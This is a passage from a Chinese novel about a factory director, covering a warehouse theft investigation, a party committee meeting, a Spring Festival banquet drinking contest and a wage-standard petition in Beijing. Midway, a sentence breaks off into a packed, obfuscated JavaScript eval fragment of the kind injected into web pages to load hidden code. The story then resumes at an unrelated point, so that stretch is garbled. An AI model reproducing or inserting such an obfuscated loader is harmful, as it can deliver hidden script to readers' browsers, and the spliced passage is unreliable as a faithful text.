赵星航平日不太喝酒,今天喝了几杯,早已不胜酒力,晕晕乎乎的了,但又好面子,嘴里还在称雄:“来就来,谁怕谁?” 一瓶酒喝了个底朝天,“卷毛”啥事没有 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干这些偷鸡摸狗地事,“卷毛”可是老手了,为了做到“后手干净”,整个过程可以说是无懈可击。进厂时,“卷毛”走的是单身宿舍边的小门,这张门平时是无人把守的。进仓库前,带上手套,用旧布裹上双脚,用钥匙开锁,取货,一切都做得干净利索。 把盗来的热电偶丝卷分别装入几个衣裤口袋后,满心喜悦的“卷毛”又骑车赶回了刚才喝酒的小饭馆。此时,小赵还在酣睡,“邢大头”也眯着眼在那里似睡非睡。“卷毛”装着去扶小赵,顺势将钥匙塞回他的口袋,然后叫道:“‘大头’,起来,起来,走咯!” “邢大头”睁开眼:“兄弟,打麻将去?” “哎,你看星星醉成这个样子,还怎么打得了麻将?算了,下次我再约你们。现在我们先把星星送回宿舍吧。” 周一,赵星航上班后不久,就发现热电偶丝卷不见了,满仓库寻找,不见踪影。情急之下赶忙跑到保卫科报案。但在保卫科询问及派出所调查取证时,赵都没有说出星期日喝酒这一出,他的想法是,朋友请你喝酒,你却怀疑别人,太不仗义。 当工厂领导去与他见面并苦口婆心地劝说后,他知道了事情的厉害关系,联想到“卷毛”平日里偷鸡摸狗的德行,顿时起了疑心,因此把星期日喝酒这件事的经过及自己对“卷毛”的怀疑统统告诉了公安民警。 民警首先找来“邢大头”了解那天喝酒的情况,“大头”如实地讲述了整个过程,当讲到周星航酒醉熟睡后“卷毛”借故离开时,民警追问:“离开了多长时间?” “我当时也有点迷糊,大概半个小时左右,”“邢大头”回答。 派出所没有马上惊动“卷毛”,而是让器材厂保卫科的同志拿了“卷毛”的照片悄悄地去找上个星期日在工厂加班的职工调查,是否在厂区见过此人 。另外,对已封存的仓库钥匙做了指纹检验。 当派出所把“卷毛”传来接受调查时,“卷毛”一脸的不在乎:“什么事呀?那里还三缺一,等着我呢。” “别嬉皮笑脸,严肃点!”民警正言厉色地说,“把你与周星航等三个人星期天到饭馆喝酒吃饭的事情详细讲述一遍。” “卷毛”耷拉着脑袋,叙述那天喝酒的过程,但有意无意地没有说出中间离开的那段。 “在饭馆里,你中途离开了一段时间,是不是?干什么去了?”民警质问。 “我……,喝得差不多时,我确实是离开了一阵,他们都知道的,是我有事回了趟家。”“卷毛”回答。 “回家?你去没去器材厂?”民警追问。 “没有,没有,绝对没有!” 民警见他态度顽劣,顿时呵斥道:“还不老实,还在胡诌!别演戏了,你离开的那段时间,根本没有回家,而是去了器材厂,这是有人证的。你扯谎也不打底稿,回家?你家离饭馆多远,骑自行车来回至少要一个小时,你离开多久?饭馆服务员都给你看了时间,最多35分钟。” “坦白从宽,抗拒从严。告诉你,只有老实交待在器材厂干了什么事,才是你唯一的出路。” 别看小混混“卷毛”平时油嘴滑舌,一见公安机关确实已经掌握了他的证据,一下子就蔫了,三下两下,最终服服帖帖地交待了自己的作案过程。 8. 八 制定下一年的工作计划,确定来年的财务预算,是这几天周亚平的重点工作。 前面说过,潇湘的冬天冷得出奇,但尽管外面寒风刺骨,冻雨绵绵,周亚平还是忙着到各个车间、科室去听取意见,收集方案。 在罗文轩和秘书班子的配合下,经过几上几下,总算在今天“过会”之前拿出了新年计划书初稿。所谓“过会”,就是经党委会讨论通过。 办公楼小会议室里,党委会正在进行,主持会议的书记龚长贵开场白很简单:“同志们,今天的议题就是两项:一是讨论通过明年的计划、预算;二是研究确定几名中层干部的提拔、任命。现在先由周亚平同志代表厂部行政班子报告明年的工作计划。” 周亚平拿出一叠打印好的稿子:“这个计划还只是一个初稿,请各位委员审议,希望同志们提出宝贵意见。” 周亚平一边念着稿子,一边还时不时对一些重点事项进行讲解。 听完周亚平的念读和讲解,龚书记提出一个问题:“周厂长,计划里所说的生产方面的指标和措施,我估计你们是经过反复研究测算过的,我没有疑义。关键是民生部分,有许多项,比如建6000平方米住宅;整顿厂容厂貌,修建喷水假山池,建花圃,搞绿化;还有建卫生所什么什么的……” “还有把医务室扩建为卫生所,增设女工卫生室,增添职工电视、图书、阅览等娱乐学习设施,改造食堂厨房装置,添置冷藏设备,整顿厂容厂貌,等等。”沈臬阳替龚老爷子补充。 “当然,给职工谋福利,这都是好事,但这么多事情要办,可都是要花钱的,我们有这么多资金吗?”龚长贵望着周亚平说。 周亚平向老爷子微微一笑:“龚书记,这些年来固定资产折旧基金和大修理资金等每年都在提取,还积余了不少。以前是由于没有多少利润,有账无钱,无法干一些需要资金较大的项目。去年利润情况还不错,预计今年会更好。这一点,我们和财务部门的同志也反复计算过,资金没有问题。另外,有些项目,像女工卫生室这样的项目,女职工已经提了很多年了,主要是解决上班女工生理期卫生期问题,只要在生产区开辟两间干净的屋子,装置一些设施,根本花不了多少钱。” “是呀!”欧阳昭民接过话题,“关于职工住宅问题,群众意见最大,很多职工提出要调走,就是因为在我们厂一直分不到住房。” 肖进犹豫了一下,也发言了:“其实,还有一件群众意见很大的事,就是我们厂的幼儿园太不像样,人家说,我们这个培养祖国花朵的地方像个‘叫花’楼。”所谓“叫花”,就是乞丐。 听他这一说,周亚平解释道:“肖厂长说的这一点,我们原来也讨论过,曾有不少同志建议把新建幼儿园列入明年计划,但算来算去,资金实在不够,所以,只能放到后年去考虑。” “也只能这样了,”肖进收回了意见。 接下来,围绕明年计划问题,大家展开热烈讨论,总的意见还是基本认可计划草案,只是在有些局部问题上和文字表述上,提出了修改意见。 龚书记眼看这项议题已基本就绪,于是提议进入下一项议题。 下一项议题是关于三位中层干部的提拔、任命。 按照程序,行政干部的提拔、任命先由行政领导提出候选名单,再由党委组织部门审核考察,最后由党委会讨论通过。前面两项分别是提拔两名年轻干部为三车间、五车间副主任,与会成员基本没有意见,很快就获得通过。但第三项提拔一名供销科副科长的议案却引起了较大的争议,两种意见南辕北辙。 在讨论这项议题前,组织部门的同志事先做了说明,由于供销科工作日益繁重,急需增加一名副科长。行政主要领导提出的建议人选是张伍成,但组织部门的同志经过多次调查民情民意,反对声音较大,因此,增加了一名候选人——覃建设。 反对张伍成任职的主要意见是认为此人粗暴鲁莽,群众关系不好。反对覃建设任职的主要意见刚好相反,认为他圆滑世故,惯于四面讨好。 其实,在考虑供销科领导人选时,覃建设也曾在周亚平脑海里闪现过,这位同志工作能力还是不错的,群众关系也很好,但有两件事一直萦绕在他心头。 那是周亚平被宣布任命为厂长后的一天,他早已离家去上班,沈珍钰正带着孩子准备送托儿所,覃建设提着一筐鸡蛋,拎着一只捆得严严实实的大母鸡来到周家。 “周大嫂,要上班去呀?我昨天才从老家回来,乡下没有什么好东西,自己家喂养的一只母鸡,还有一点鸡蛋,给你们尝尝,千万不要嫌弃。”覃建设满脸堆笑。 沈珍钰慌忙推辞:“不行,不行!我老公回来后,又要说我了,请你拿回去吧!” 覃建设把手上的东西往地上一放,嬉笑着说:“这点小意思,周厂长不会介意的,你放心吧。我也要上班去了。”说完,径直离开了周家。 周家嫂子急着送小孩去托儿所,然后再去上班,也顾不得处理,关上房门就出去了。 等两人中午下班,回到家中,周家嫂子赶忙把覃建设送鸡和蛋的事告诉了周亚平。此时再去看那只捆住的鸡,已经变成死鸡。 周亚平叹了口气:“哎,原想现在再把它送回覃家,此事也就了啦,现在麻烦了,活鸡成了死鸡,再这样送回去就有点对不住人了。 ” 想想,继续说:“没办法,只有把它折算成现金,再送回去,这才说得过去。” 周亚平拿出自家的弹簧秤,分别把鸡和蛋称了重量,又按市价计算了一番,然后掏出钞票数了数,说:“珍钰,你到覃家去走一趟,把这些钱交给覃建设,就说我们领情了,这么新鲜的鸡和蛋,我们就收了,但必须按市价给钱,不要让我犯错误。” 沈珍钰接过钱数了数:“干吗给这么多钱?到市场去买也花不了这么多呀?” “市场上的价格也有贵有贱,我们按最贵的给吧。” 周嫂子也是通情达理的人,再无多话,拿了钱就去了覃家,把钱给了覃母后迅速离开。 另外一件事就发生在前几天。 那天,覃建设借送文件之名来到周亚平办公室,放下文件后寒暄了几句,然后从口袋里掏出一张票证,毕恭毕敬地递给周亚平:“厂长,这是一张电视机票,我也是好不容易才搞到手,听说您家里一直想买台电视机,我家已经有了,就给您吧。” 在那个物质匮乏的年代,许多紧俏的家电产品都凭票供应。 “哦!”周亚平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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与会人员认为周厂长说的在理,都不再发言,只有组织科科长向敏德仍然觉得张伍成不是合适人选:“周厂长,我们党的用人原则必须是德才兼备。我承认,老张在销售方面是一把好手,确实能力出众。但那么多人对张伍成同志意见很大,证明他人品方面还是有些问题。对了,听说有一次,有人用假票据骗取报销,遭到财务科拒绝,老张还替那人大吵大闹,这事厂长也在场,听说你当场就批评了他。” 周亚平听这一说,乐了:“向科长,那件事我在场,事情的经过我最清楚。是供销科一个小伙子拿了收据和连号的公交车票来报销,财务科不给报销,老张这个人好打抱不平,没有搞清事情的原委就叫嚷起来。后来我们批评了他,他也承认了错误。” 周亚平转过话头:“说到这里,我也要为老张打抱不平了。诸如老张的这些负面新闻,知道的人很多,传播得很广;但另一方面,老张为了工厂的销售事业兢兢业业,任劳任怨,做出的贡献很大,这些却没有多少人了解。” “供销科里负责销售的人员共4个,老张这两年的销售量,都接近全科销售量的一半,也就是说他一人将近顶了3个人,你们听说过没有?随便举个例,这是前不久泰隆电缆厂齐经理来我厂后说给我听的。他们厂原来根本不打算用我们的产品,张伍成费尽了心思,想方设法把我们的产品打进该厂。为此,不惜星期天跑到齐经理家去帮他做了一上午的藕煤。这才感动了齐科长,给了我厂一个试用的机会。齐科长说,他真羡慕我们有像老张这样的干部。” “试想,如果说这样一个一心扑到工作上的人,还‘德’不配位,我们还上哪里去找德才兼备的销售副科长?” 周亚平一番话非常震撼,起了一锤定音的作用。 龚长贵最后进行总结:“周厂长说得对,社会主义现代化建设,要能人,不要庸人。张伍成同志脾气不好,说话很冲,容易得罪人,这些是小节,我们应该看重他的大节。现在表决,同意任命张伍成同志为供销科副科长的举手!” 齐刷刷的,一致举手通过。 9. 九 夜幕降临,器材厂噼里啪啦的鞭炮声震耳欲聋,还没过年,年的味道就开始很浓了。 今晚是工厂春节放假前一天,按惯例,全厂迎新春大会餐,这在广东,叫“尾牙”。 我们的族人很有意思,凡是遇到大事,不管是喜事还是丧事,都要大吃大喝一番,以示庆贺或以泄悲伤。器材厂由于去年的经济效益还不错,因此,会餐的菜肴相当的丰盛。 由于食堂面积不够大,会餐的方式是职工将大碗大碗的美味食品端回去,以车间、班组或科室为单位,摆开宴席。 此时此刻,周亚平更不能闲着,首先与欧阳昭民一直在全厂最繁忙的食堂坐镇指挥,等会餐开始后,又带领几个厂级领导去各个车间、科室轮流敬酒。 第一个到达的是离食堂最远的五车间。还没进门,只听见里面一片划拳行令的喧闹声:“五魁首呀”,“六六顺呀”…… “领导来了,领导来了!”有眼尖的工人叫出声,会餐的人们纷纷站了起来。 “坐下,坐下!”周亚平微笑着用手示意大家坐下,“同志们,我们几个今天来敬你们一杯酒,今年工厂超额完成生产任务,你们是大功臣,你们车间今年的产值比去年增长57%,了不起呀!” “是呀,利润也比去年翻了一番,创了纪录。”肖进副厂长接着说。 “感谢领导的表扬,这是我们应该做的。”五车间主任站起来,拱手致谢。 周亚平端起自己带来的小酒杯,斟满酒:“大家一起来,祝大家新春快乐!万事顺意!幸福安康!干杯!” “干杯!干杯!”欢呼声回旋在夜空中。 三车间的会餐场面别开生面,把聚餐喝酒与文艺表演结合在一起。周亚平他们到达时,一个小伙子刚表演完快板书,见周亚平等厂领导到来,即兴报幕:“下一个节目,男声独唱,表演者:周厂长。” 全场一片哄笑。 周亚平也尴尬地笑了起来,拱拱手说:“我这个破嗓子,唱出来让你们听了是真的要喷饭。” 三车间主任苏锦浩赶忙给厂长解围:“行了,别给厂长开玩笑了,继续吧,该磨削班出节目了。” 走上台的是一位青年女工,她鞠躬敬礼后说:“既然厂长来到我们这里,我就唱一首他作词,林老师作曲的歌曲,歌名叫‘歌声中有我们的幸福’。” 这首歌,周亚平记得,是在一次工厂文艺汇演前创作的。当时,宣传科小林约周亚平写了这首激励年轻人的歌词,然后由小林自己谱曲,最后以合唱的形式出现在文艺汇演中。演出后反响不错,经常有人拿来哼唱,而且这首歌还在省级音乐刊物“三湘音苑”上发表过。 女孩扬起头,径自唱起来。独唱虽然没有合唱的雄伟气势,但浅吟低唱,委婉动人,别有风韵: 年轻的朋友, 迈开理想的脚步。 快快点燃青春的火炬, 照亮前进的道路。 生活是多么的美好, 心中有祖国的蓝图。 唱一支理想的歌吧, 歌声中有我们的幸福。 年轻的朋友, 迈开创业的脚步。 快快扬起青春的风帆, 冲破世俗的迷雾。 人生是多么的宝贵, 一刻也不能耽误。 唱一支创业的歌吧, 歌声中有我们的幸福。 就这样,厂领导们走了好几站,都是按部就班地进行同样的操作,没有什么意外。但到了动力维修车间的餐桌上,却发生了戏剧性的一幕。当时,领导们敬酒后准备离开,突然,一个看来已经喝得半醉的老工人一把拖住周亚平:“厂长,你还不能走!” 众人都蒙了,不知他究竟想干什么。 这个老工人嘴里含糊不清地说:“厂…,厂长,去年工厂…好,你…你有大功劳。但工厂…工厂赚了钱,我们…工资…一分钱没多,奖金也就多…多几块钱。能不能…多发…多发点,让老百姓…工人…多点实惠?……” 车间主任出面制止:“老蔡头,你又喝多了,工资、奖金上面都有文件规定,不是工厂想发就能发的。这么喜庆的日子,你来扫什么兴。” 又堆着笑,对周亚平等人说:“领导们不要与他计较,他就是喝多了。” 周亚平豁达地回答:“蔡师傅,你说的没错,随着企业效益的提高,职工的收入也应该同步增长。我相信我们国家正在进行的改革开放很快会走到这一步。你放心,今后,我们一定会在不违规违法的前提下想方设法改善职工福利。” 听到厂长这个表态,满桌的人都鼓起掌来,老蔡更是满脸涨红,手舞足蹈,哇哇地乐个不停。 敬酒走遍了全厂各个车间、科室,会餐时间已经过半,几个厂领导确定分散到相关单位正儿八经地去吃年饭。 周亚平暗忖,尽管大家都知道领导们要到处敬酒,没有更多地劝酒,但一路来左一杯右一杯的,也已经喝得够多的了。现在去哪一桌呢?千万不能去有酒鬼的地方,如果去了,又都知道自己有酒量,那就难免不被灌醉。犹豫了一阵,决定还是去技术科,心想,那里都是知识分子,肯定斯文得多,应该不会灌酒。于是,对跟随他的罗文轩说:“走!文轩,我们到技术科去。” 一进技术科办公室,就听到里面也是一片吆三喝四的喧闹声,看来,在狂欢的时候,没有什么人是斯文的。 技术科办公室里摆了两桌,见到周厂长与罗主任走进来,里面的人纷纷让座。先期到达的冯副厂长笑着说:“来,来!坐我们这一桌。周厂长,怎么没到供销科去?那里可有几个能喝酒的主。” 周亚平也笑着回答:“不能去,不能去!到了那里,我就别想出门了。” 见周亚平与罗文轩已经落座,冯庭怡端起酒杯:“我们大家敬厂长一杯,去年辛苦了,祝事业发达!身体健康!干杯!” “干杯”呼声此起彼伏。 “谢谢冯厂长!谢谢大家!”周亚平说,“我也敬大家一杯,祝全体工程技术人员新年快乐!幸福吉祥!” “我先干为敬,”周亚平把杯中的酒一口喝完,“来,举起酒杯,大家一起干杯!” 又是一片欢呼声。 连喝了几杯酒,周亚平有意识地赶紧多喝几口汤,嚼几块肉,借此减轻酒精的作用。 酒过三巡,桌上有位年轻的技术员轻轻地说:“刚才我去洗手间,看到车间里工人师傅在那里划拳喝酒,一边出拳,一边吆喝,非常热闹。” 沈臬阳一听,顿时来了兴趣:“要不我们也来划拳喝酒,助助兴?” “沈总工,你也会划拳?”刚才那位青年技术员问。 “划拳是我国民间饮酒时一种助兴取乐的游戏,操作又不难。就是两个人同时伸出若干根手指,并同时喊出一个相应的数字,如果两个人伸出的手指数加在一起,正好与两人中某个人喊出的数字一样,则判为赢家,罚输家喝酒。”沈臬阳回答。 “他们喊的那些莫名其妙的话又是什么意思?‘五魁首’、‘六六顺’什么的。”青年技术员继续问。 冯庭怡笑了起来:“那不是莫名其妙的话,而是划拳的口诀。喊这些口号无非是表达祝福、吉祥的意思。沈工,你给他说说口诀吧。” 沈臬阳放下手中的筷子,说:“各个地方的口诀略有不同,我说的是我们家乡的口诀,10个数字分别是:一条龙、哥俩好、三 星照、四季财、五魁首、六六顺、七个巧、八匹马、九常有、十全到。猜到两人伸出的手指之和是多少,就叫出相应的口诀。如猜七根手指,就喊‘七个巧’,八根手指,就喊‘八匹马’。” “沈工,其余的口诀还比较好懂,如二就是‘哥两好’,三就是‘三星照’,福、禄、寿三星高照,但‘七个巧’、‘八匹马’是什么意思?”有人提问。 “对,还有‘五魁首’。” 沈工有点尴尬:“这我还真没有研究过,冯厂长说说吧。” 冯庭怡把酒杯放到桌上,说:“‘七个巧’应是‘乞个巧’的谐音,与牛郎织女、七夕节有关联。‘八匹马’好像是讲周穆王时期的八匹骏马,至于‘五魁首’,魁首就是状元,反正都是吉祥话。对了,周厂长,别人都称你为‘酒神’,你应该知道,是不是这个意思?” 周亚平见问到自己,只好回答:“冯厂长说得对,是这个意思。我补充一点,关于‘八匹马’,还有个说法,用到一个典故,是当年周穆王驾着八匹骏马与王母相会,有祝福长寿的寓意。‘五魁首’,则与我国古代科举考试有关,科举要考‘五经’,每经的第一名称‘魁首’,同时考上五经第一名,自然就是‘五魁首’。” 青年技术员感叹道:“想不到这么俗气的划拳游戏还有这么文雅的故事,涨学问了。” 众人哈哈大笑起来。 此时,坐在周亚平对面的一个青年女子站了起来,端起酒杯,十分腼腆地说:“周厂长,都说您能喝酒,酒量大,我敬您一杯,怎么样?” 周亚平知道,她是去年下半年才分配到厂的大学生,姓陈,是个福建人。 “行!刚才光顾聊天,没喝酒了,来吧!” 周亚平举起手中的酒杯。 今天,为了不轻易喝醉,他特意选了一款容量最小的白酒杯,叫‘三钱杯’。酒场上,这喝酒的杯子很有讲究。最小的白酒杯,一般容量是15毫升,俗称‘三钱杯’。再往上走,就是50毫升、100毫升、125毫升;125毫升的也叫‘二两半’。当然,更大容量的也有,一般情况下不会使用。 “小陈,是你先来还是我先来?”周亚平笑着问。 “当然是我先干为敬,”小陈并没有举杯,“厂长,我敬您一杯酒,但不是这种不会喝酒的人才用的小酒杯,要换一种大的杯子。” 嘿!看来这丫头是来叫板的,周亚平心想,没想到的今天第一个挑战自己的居然是一个刚分配来厂的小姑娘。 周亚平显得非常大度地说:“行啊,用什么杯子喝,由你挑吧!” 只见小陈走到办公室平时放茶具的地方,从木架上取下两只茶缸,然后回到饭桌旁。 这是一种搪瓷缸,那个年代,五一节、国庆节,单位经常把这作为纪念品发给职工。 “厂长,我们就用这种杯子喝。”小陈不慌不忙地说。 “什么?用茶缸喝酒?”饭桌上顿时炸开了锅。 周亚平也受了一惊,转而一想,恐怕又是酒桌上的诈术,先吓唬住对方,让对方自己认输,从而不战而胜。 好家伙,你这个初出茅庐的丫头,居然也会这一手,周亚平更加淡定了:“可以!倒酒吧。” 说到喝酒,周亚平在厂内确实不怵任何人,工厂里有名的几个“酒鬼”、“酒仙”,都是他的手下败将。 其实,周亚平过去在喝酒方面比较低调,工厂很多人不知道他的真实酒量。后来他在担任六车间主任时,车间里有个号称“刺头”的壮年工人,工作吊儿郎当,不知何故,却事事与他作对。他想了许多办法去与他缓和关系,始终无法见效。有一次,车间有个老工人过生日,邀请周主任参加酒席,正好与“刺头”坐在一桌。喝着喝着,“刺头”开始挑衅了:“周主 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第四杯喝完,“刺头”已经瘫倒在酒桌上,反观周亚平,把第四杯酒喝完后,还潇潇洒洒与大家一起为主人祝寿。 虽然因为“刺头”醉倒了,没来得及叫周亚平一声“爷”,但自此以后,在车间里,“刺头”真真把周亚平当成“爷”一样崇拜,什么事都言听计从,工作上也规规矩矩了。周亚平想不到喝酒居然还有这么大的训诫和威慑作用,因此,从那以后在喝酒方面就不再低调了。 回到技术科的春节会餐上来,话说周亚平看到新分来的女大学生要用搪瓷茶缸敬酒,认为是诈术,毫不在意地让她倒酒。谁知小陈真的拿出两瓶52度的白酒,先打开一瓶,“咕噜咕噜”往一个杯子里直倒,倒满后再把余酒倒到另一个杯子里,见未满,马上打开另外一瓶,继续倒满为止。周亚平估摸着每一杯应该有七、八两酒。 “怎么喝?分几口?”周亚平问。 “一口喝完!”小陈毫无惧色。 “啊!一口干完?”众人一片哗然。 周亚平听了也心里一紧,因喝酒的人都知道,喝酒最忌讳大容量的“一口闷”,那样容易醉倒。如果喝口酒,吃点菜,再喝点汤,是不太容易醉的。但即使到了这个时候,周亚平仍不相信一个女孩子有这么大酒量,能够做到七、八两酒一口喝完。 “行吧!”周亚平无奈地说,“但必须是你先喝,到时候我喝完了,你撒赖不喝,怎么办?” “好!我先喝,我喝完了,厂长也不兴撒赖。” “绝对不可能!” 只见丫头端起酒杯,仰起脖子,大口大口地喝了起来,很快就喝了个底朝天。 这场景,真让周亚平有点目瞪口呆,没想到啊没想到,这姑娘居然这么敢喝。 “下面轮到厂长了,大家欢迎周厂长表演!”有人起哄了。 “欢迎欢迎!热烈欢迎!”别看是知识分子,哄闹起来一点不亚于大老粗。 说实话,周亚平从来没有一口喝过这么一大杯烈酒,心里有点畏怯,但此时此地已经不可能打退堂鼓了。 拼了!周亚平暗示自己。在众人的哄笑声中,周亚平不管不顾地端起酒杯一口气喝了个精光。 “好!好!”引来一片喝彩声。 其实,这杯酒下肚,周亚平脑袋已经有一种要爆炸的感觉,但他硬撑着没有表现出来,心里警告自己,千万别出洋相,此时他拼命地和自己晕晕乎乎、随时可能倒下的感觉作斗争,故作镇静地对大家说:“你们慢慢喝吧,我还要到其他科室去转一转。”然后,朝门外走去,罗文轩知道厂长喝得有点多,赶忙跟了上去。 一出房门,周亚平一把抓住罗文轩,嘴里念叨:“文轩,我不行了,赶快扶我走!” “行,我扶你回家吧。” “不,不!回我的办公室。” 罗文轩把厂长扶到办公室,让他在沙发上躺下,找来一床平时午睡用的毛毯盖住,担心还有点冷,又找来一台电热器,开启热风。然后,又给周家嫂子打了个电话,告诉她周厂长晚上有事,不回家睡觉,请她放心。 这一切,都是在周亚平熟睡之中完成的。 周亚平这一觉睡得真香,一直到第二天上午八点多钟才醒过来。 上午,周亚平在宿舍区遛弯,见到了沈臬阳,相互问好后,装着不在意地问:“沈工,技术科小陈昨晚喝了那么多酒,是不是醉了?” “没有呀,她与你干了一大杯后,还和其他人喝了许多杯— 当然不是你与她喝的那种大搪瓷缸,但也不少,每杯也得有一二两酒。在娱乐环节,她还唱了几首歌,一直到最后散席,她才与大家一起高高兴兴地离开。” 想不到小陈昨晚喝了那么多酒,居然啥事没有,还能潇洒地唱歌,周亚平真心服了。 想到号称“酒神”的自己被一个女孩击败,周亚平有说不出的羞愧和懊恼。 春节过后不久,周亚平因感冒去工厂医务室看病,在与室主任方医师聊天时,顺便把这件事说给他听,并问他,从科学的角度来看,女性是不是比男性更能喝酒? 方医师告诉他,人类生理上会分泌两种酶,一种是乙醇脱氢酶,另一种是乙醛脱氢酶,这两种酶有利于解酒。由于人与人之间的差异,这两种酶分泌有多有少,分泌得多的,自然喝酒不易醉。小陈可能属于极少数酶分泌量特别大的那种。 方医师还半开玩笑半认真地告诫周亚平:“厂长,有句老话,不能跟三种人喝酒,那就是:红脸蛋的,扎小辫的,兜里揣药片的。小陈属于‘扎小辫’的。你今后可要当心啊!” 10. 十 刚入夏,天气就已躁热非常。器材厂职工一年中最不喜欢的就是夏季,因为工厂有三个产品车间,主要的生产设备,都是高温生产设备,一到夏天,高温炉旁操作的工人,更加难熬。 周亚平此时正站在三车间高温电炉边,和车间领导及技术人员研究设备大修问题。 如果按使用年限,这台设备还没有到达大修时间,但由于近期生产中设备经常发生故障,经研究,一致同意提前停火大修。 “哎,杨工怎么没来?”周亚平问三车间主任苏锦浩。 “周厂长你不知道吗,杨工马上要调走,请调报告你们不是同意了吗?他正在办理交接手续。”苏主任回答。 周亚平诧异地说:“批准他调离一事我知道,但说好是等到这台设备大修理完成后才走。因为目前只有他对这台设备的情况最清楚。” “哦,是这样,那你们赶快把杨工找来。”苏锦浩吩咐手下。 不一会,杨工来到了现场,见到厂长,赶忙说:“不好意思,我刚才正在整理资料,准备交接。我看苏主任也没叫我,所以没到现场来。” 周亚平和颜悦色地对杨工说:“你要调走,我们原来是都不同意的,因你是我们这里很重要的技术骨干。但考虑到你太太在市里上班,你长期在县区工作,家里确实困难不少,所以最终同意你调走。但希望你站好最后一班岗,这台设备只有你最了解,所以请你在完成设备大修后才离厂,没问题吧?” “没问题!”杨工爽快地回答。 设备的事情处理完后,周亚平正准备离开,杨工拉了他一把,轻轻地说:“厂长,等等,我有几句话和你说。” 两人走到车间一个僻静的角落,杨工带着歉意向周亚平说:“厂长,其实我又何尝想走?我对我们厂是有感情的。原来我是想把老婆调过来,但她一听说调过来后工资比原来的工厂要少十几块钱,坚决不肯过来。前不久,她找了她们厂的领导,该厂同意我调过去。他们也是中央直属企业,我过去后工资立马比现在增加十几块钱。所以,没办法,只能是我走,请领导谅解。” 当时,职工一个月工资才几十元钱,两个单位工资同一级别相差十几元,面对这种选择相信任何人都不会糊涂。 器材厂原是地方企业,成为中央直属企业后,干部已经按照全国统一级别享受工资待遇;但工人工资线条一直没有改变,仍按原来的地方标准执行。两种标准相差很大,就以当时学徒转正后定为二级工为例,器材厂二级工工资为三十元几毛,而别的中央直属企业二级工工资为三十八元多。尤其是,级别越高,差额越大,到了五级工以上,差别就到了十元以上。杨工是从工人岗位保送去读大学的工农兵大学生,毕业回厂后,尽管一直按技术人员使用,但由于指标缺乏,没有办理转干手续,因而始终按工人工资标准拿薪水。 回到办公室,周亚平打电话给人事科,让科长何居靖到自己办公室来一趟。 “周厂长,什么事?”一进门,何居靖问。 “坐下来,慢慢说。”周亚平倒了杯水,“何科长,我刚从三车间回来。三车间杨工是个难得的人才,除了技术过硬,人品也很不错。但马上就要调走了,说白了,还是工资太低的原因。你是最知情的,近几年,由于工资问题,我们流失了多少骨干、人才。” “确实不少,现在我手上还压着一叠请调报告。” 何居靖说。 “我们虽然也是中央直属企业,但工人工资标准比其它中央企业差了一大截,这我知道是一个历史遗留问题,但为什么历任领导都没有想办法去解决呢?”周亚平问。 何居靖回复:“怎么没想办法,我知道的是每一届领导到部局开会时,都向上级反映过,要求按照部属企业标准调整工人工资线条。但都没有获得批准。” “什么原因呢?” 何居靖摇摇头,无奈地说:“领导没说过,我们也不清楚。” 周亚平搓搓手,指着何,又指着自己,庄重地说:“何科长,看来我们要下大决心来解决这个老大难问题。我就不相信,中央直属企业按中央直属企业工资标准执行,这种顺理成章的事会办不成!” 周亚平是那种一旦认定目标,就会矢志不移地走下去的人。 以后几天,为了这件事,先是在党委会汇报、研究;接着召开厂长办公会商议、部署具体方案;同时,组织人员起草给上级的请示报告。忙个不亦乐乎。 一切就绪后,周亚平和何居靖带着书面报告直飞北京。 在工厂时已经商量好了上报路径,由于此事的管辖权在部人事局,器材厂主管局根本插不上手,因此,周、何二人一到京城,还没住下,就拖着行李去了部机关。 说来也巧,周亚平读中专时有个要好的同学,叫杜佑才,原来是器材厂的团委书记,后调到部机关人事局工作。来北京前,周亚平就给这位老同学打过电话,希望他在这件事上助一臂之力。 此时,周、何直接找到了杜佑才所在的办公室,两人站在走廊上,请人把老杜叫了出来。 互致问候后,杜佑才接过两人手中的行李,说:“屋内人多,说话不方便。亚平,你们在外面等一下,我先把行李放进去。” 杜佑才从办公室端了两杯茶水走出来,三人在走廊上找了条长凳坐下。 周亚平迫不及待地问:“佑才,你帮我们联系好了没有?” “不急,不急!”杜佑才把茶水分别给了两人,“这两天我一直在联系这件事。我打听清楚了,具体经办工资标准的,就是我们局里劳资处韩处长,老韩这人不错,挺为基层考虑的。我现在就带你们去他办公室。” 果真不错,韩处长为人很和善,一听说是器材厂的厂长和人事科长,马上打着哈哈说:“知道了!小杜给我说了,你们又是为工人工资线条问题来的。” 周亚平也微微一笑:“韩处长,不错,我们确实是为了这个问题来请示、汇报的。您一定知道,我们厂工人劳动强度又大,工资又低,确实不容易。所以我们希望领导们体谅我们基层工作的难处,能真正帮助我们解决这个老大难问题。” “我去过你们厂,都是高温作业,工人确实很辛苦。部属厂里,就属你们厂工资最低,我们都很同情。”韩处长随和地说。 “韩处长,我就一直想不通,器材厂作为我们的部属企业,理所当然的应该执行部属企业工人工资标准,为什么其它四十几个部属企业都可以这样做,唯独我们厂不能这样做?” “周厂长,这是历史遗留问题。当时工厂收归为部属企业时,没有及时办理相关手续,因此拖下来了,使问题越来越复杂,一个简单的问题成了老大难问题。”韩处长叹了口气。 周亚平追问:“韩处长,请教一下,‘老大难’,现在究竟难在哪里?贵局是这个问题能否解决的关键所在,只要你们同意,这件事不就办成了?” 韩处长忙把手中的茶杯放下:“周厂长,别误会,我们局可是一直开绿灯的,问题的关键不在部里,而在地方政府。” 接下来,韩处长把这件事情的来龙去脉、前因后果都一一说给周、何二人听。 原来,很早以前,接到工厂的申诉,部里就准备批准器材厂执行中央直属企业工人工资标准。正准备发文前,当时的人事局长,在参加全国劳动工资会议时,恰巧碰到器材厂所在地方政府的劳资局长,于是顺便和他聊到此事,告知部里计划,即准备调整器材厂工人的工资线条。谁知那位局长不哼不哈地回了一句话:“调高工资,好呀,正好我们地方也有不少企业,工人工资标准都很低,你们调吧,我们也跟着来。” 他这一说不打紧,可把当时部里的人事局长吓出一身冷汗,这还了得,这样一来,我们岂不成了破坏劳动工资制度的祸首了吗。当然,大家也心知肚明,给器材厂调整工人工资标准名正言顺,即使下文批准了,地方政府也不敢擅自跟风。但他这一说法,明显表达了反对之意,既然地方政府强烈反对,这种情况下,谁还敢继续把器材厂工人工资调整这件事做到底? 